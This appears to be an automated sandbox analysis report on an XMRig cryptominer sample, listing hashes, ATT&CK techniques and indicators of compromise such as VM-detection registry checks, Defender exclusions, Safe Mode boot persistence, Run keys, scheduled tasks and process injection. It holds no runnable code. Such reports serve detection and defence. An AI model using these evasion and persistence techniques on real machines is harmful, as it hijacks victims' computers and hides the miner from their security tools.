xmrig | df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685

Analysis

max time kernel
40s
max time network
40s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
27/05/2026, 04:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
Size 9.6MB
Sample260527-e16hmahv6y
SHA256 df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685
MD5 cf5ee1a12b467b8a5d44354c3e6051d5
SHA1 c0ec96a8984726eeb6ed89b8179d63c93c309ba0
SHA512 46831ed2f26ece406575888bbf54dc3da0a4175f47995528570bf15594feed9637dbbf90506774794b29b517c4f3f6e4ad13304f2bf1bd4ac1b7d6a554bc7fd7
SSDEEP 49152:i+HWcQ42IY8TChpiMC7bjYu1GCrDyIpGRlWAcW/5XGvRKa7sOsu0/Z8ak6F6yGo1:Kj
TLSH
T192A6CF407BE2BEF17291C11EB356C8344A5F3CB8F0DEEAE6904597A72482141AFED974
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation upx

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 2436 created 620	2436	powershell.EXE	5
PID 2692 created 620	2692	powershell.EXE	5

Looks for VirtualBox Guest Additions in registry 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	jusched.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	903428e2.exe

Modifies boot configuration data using bcdedit 4 IoCs

pid	Process
1064	bcdedit.exe
2396	bcdedit.exe
3888	bcdedit.exe
4560	bcdedit.exe

XMRig Miner payload 7 IoCs

miner

resource	yara_rule
behavioral1/memory/1480-143-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/1480-142-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/1480-146-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/1480-149-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/1480-148-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/1480-147-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig
behavioral1/memory/1480-145-0x0000000140000000-0x0000000140835000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2396	powershell.exe
4560	powershell.exe
2436	powershell.EXE
2692	powershell.EXE

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	dllhost.exe

Looks for VMWare Tools registry key 2 TTPs 2 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	903428e2.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	jusched.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1668	netsh.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\jusched.lnk	jusched.exe

Executes dropped EXE 22 IoCs

pid	Process
4200	903428e2.exe
3496	jusched.exe
4644	dllhost.exe
1964	dllhost.exe
2432	SearchProtocolHost.exe
560	SearchFilterHost.exe
1192	jusched.exe
4196	jusched.exe
4152	dllhost.exe
3472	miner.exe
4856	jusched.exe
2468	jusched.exe
3920	jusched.exe
3948	jusched.exe
2456	jusched.exe
3004	dllhost.exe
2776	dllhost.exe
3744	SearchProtocolHost.exe
2864	jusched.exe
1704	SearchFilterHost.exe
4840	dllhost.exe
3640	System32.exe

Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinDefSvc	dllhost.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WinDefSvc\ = "Service"	dllhost.exe

Loads dropped DLL 15 IoCs

pid	Process
4200	903428e2.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
3688	rundll32.exe
4644	dllhost.exe
2468	jusched.exe
3004	dllhost.exe
3004	dllhost.exe
3004	dllhost.exe
3004	dllhost.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\""	jusched.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\""	jusched.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "\"C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe\""	jusched.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2937465464-4167303362-2236413517-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jusched = "C:\\Users\\Admin\\AppData\\Roaming\\jusched\\jusched.exe"	jusched.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
27	ip-api.com

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4660	powercfg.exe
2404	powercfg.exe
4688	powercfg.exe
2856	powercfg.exe
456	powercfg.exe
4804	powercfg.exe
5092	powercfg.exe
864	powercfg.exe

Drops file in System32 directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Recovery\ReAgent.xml	dllhost.exe
File opened for modification	C:\Windows\system32\MRT.exe	miner.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	System32.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4644	dllhost.exe
3004	dllhost.exe

Suspicious use of SetThreadContext 16 IoCs

description	pid	Process	procid_target
PID 4200 set thread context of 4644	4200	903428e2.exe	97
PID 4644 set thread context of 1964	4644	dllhost.exe	98
PID 4644 set thread context of 2432	4644	dllhost.exe	99
PID 4644 set thread context of 560	4644	dllhost.exe	105
PID 4644 set thread context of 4152	4644	dllhost.exe	116
PID 2468 set thread context of 3004	2468	jusched.exe	134
PID 3004 set thread context of 2776	3004	dllhost.exe	135
PID 3004 set thread context of 3744	3004	dllhost.exe	141
PID 3004 set thread context of 1704	3004	dllhost.exe	145
PID 3004 set thread context of 4840	3004	dllhost.exe	150
PID 3472 set thread context of 2640	3472	miner.exe	172
PID 3640 set thread context of 380	3640	System32.exe	208
PID 3640 set thread context of 1668	3640	System32.exe	212
PID 3640 set thread context of 1480	3640	System32.exe	214
PID 2436 set thread context of 4252	2436	powershell.EXE	218
PID 2692 set thread context of 644	2692	powershell.EXE	220

UPX packed file 12 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1480-137-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-143-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-142-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-140-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-141-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-139-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-136-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-146-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-149-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-148-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-147-0x0000000140000000-0x0000000140835000-memory.dmp	upx
behavioral1/memory/1480-145-0x0000000140000000-0x0000000140835000-memory.dmp	upx

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	reagentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	reagentc.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1480	sc.exe
3844	sc.exe
4720	sc.exe
4544	sc.exe
4000	sc.exe
224	sc.exe
1536	sc.exe
3728	sc.exe
1324	sc.exe
4432	sc.exe
3036	sc.exe
3860	sc.exe
2236	sc.exe
4616	sc.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	dllhost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	dllhost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	jusched.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	jusched.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	903428e2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	903428e2.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	903428e2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	jusched.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	jusched.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	903428e2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	903428e2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	903428e2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	jusched.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	jusched.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	dllhost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\jusched_tg_count\n = "1"	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\jusched_tg_7f09c11e	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie	dllhost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7"	dllhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	dllhost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3896	schtasks.exe
5116	schtasks.exe
3460	schtasks.exe
936	schtasks.exe
2264	schtasks.exe
3772	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1288	df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
1288	df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
4200	903428e2.exe
4200	903428e2.exe
4200	903428e2.exe
4200	903428e2.exe
4200	903428e2.exe
4200	903428e2.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4644	dllhost.exe
4152	dllhost.exe
4152	dllhost.exe
4152	dllhost.exe
4152	dllhost.exe
560	SearchFilterHost.exe
560	SearchFilterHost.exe
560	SearchFilterHost.exe
560	SearchFilterHost.exe
2432	SearchProtocolHost.exe
2432	SearchProtocolHost.exe
2432	SearchProtocolHost.exe
2432	SearchProtocolHost.exe
1964	dllhost.exe
1964	dllhost.exe
1964	dllhost.exe
1964	dllhost.exe
2468	jusched.exe
2468	jusched.exe
2468	jusched.exe
2468	jusched.exe
2468	jusched.exe
3004	dllhost.exe
3004	dllhost.exe
3004	dllhost.exe
3004	dllhost.exe
3004	dllhost.exe
3004	dllhost.exe
3004	dllhost.exe
3004	dllhost.exe
3004	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3244	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1288	df2be42b8a63be17ff85f4516e308406afcd131afc183bc54fda8dfdb8b90685.exe
Token: SeDebugPrivilege	4200	903428e2.exe
Token: SeDebugPrivilege	4200	903428e2.exe
Token: SeDebugPrivilege	4644	dllhost.exe
Token: SeDebugPrivilege	4644	dllhost.exe
Token: SeDebugPrivilege	1964	dllhost.exe
Token: SeDebugPrivilege	1964	dllhost.exe
Token: SeDebugPrivilege	4644	dllhost.exe
Token: SeDebugPrivilege	2432	SearchProtocolHost.exe
Token: SeDebugPrivilege	2432	SearchProtocolHost.exe
Token: SeDebugPrivilege	3496	jusched.exe
Token: SeDebugPrivilege	4644	dllhost.exe
Token: SeDebugPrivilege	560	SearchFilterHost.exe
Token: SeDebugPrivilege	560	SearchFilterHost.exe
Token: SeDebugPrivilege	4644	dllhost.exe
Token: SeImpersonatePrivilege	4644	dllhost.exe
Token: SeDebugPrivilege	4644	dllhost.exe
Token: SeImpersonatePrivilege	4644	dllhost.exe
Token: SeDebugPrivilege	4644	dllhost.exe
Token: SeDebugPrivilege	4152	dllhost.exe
Token: SeDebugPrivilege	4152	dllhost.exe
Token: SeDebugPrivilege	4152	dllhost.exe
Token: SeDebugPrivilege	560	SearchFilterHost.exe
Token: SeDebugPrivilege	2432	SearchProtocolHost.exe
Token: SeDebugPrivilege	1964	dllhost.exe
Token: SeDebugPrivilege	2468	jusched.exe
Token: SeDebugPrivilege	2468	jusched.exe
Token: SeDebugPrivilege	3004	dllhost.exe
Token: SeDebugPrivilege	3004	dllhost.exe
Token: SeDebugPrivilege	2776	dllhost.exe
Token: SeDebugPrivilege	2776	dllhost.exe
Token: SeDebugPrivilege	2456	jusched.exe
Token: SeDebugPrivilege	3004	dllhost.exe
Token: SeDebugPrivilege	3744	SearchProtocolHost.exe
Token: SeDebugPrivilege	3744	SearchProtocolHost.exe
Token: SeDebugPrivilege	3004	dllhost.exe
Token: SeDebugPrivilege	3004	dllhost.exe
Token: SeDebugPrivilege	1704	SearchFilterHost.exe
Token: SeDebugPrivilege	1704	SearchFilterHost.exe
Token: SeDebugPrivilege	2864	jusched.exe
Token: SeDebugPrivilege	3004	dllhost.exe
Token: SeDebugPrivilege	4840	dllhost.exe
Token: SeDebugPrivilege	4840	dllhost.exe
Token: SeDebugPrivilege	2396	powershell.exe
Token: SeDebugPrivilege	3472	miner.exe
Token: SeShutdownPrivilege	864	powercfg.exe
Token: SeCreatePagefilePrivilege	864	powercfg.exe
Token: SeShutdownPrivilege	4688	powercfg.exe
Token: SeCreatePagefilePrivilege	4688	powercfg.exe
Token: SeShutdownPrivilege	2404	powercfg.exe
Token: SeCreatePagefilePrivilege	2404	powercfg.exe
Token: SeShutdownPrivilege	4660	powercfg.exe
Token: SeCreatePagefilePrivilege	4660	powercfg.exe
Token: SeDebugPrivilege	4560	powershell.exe
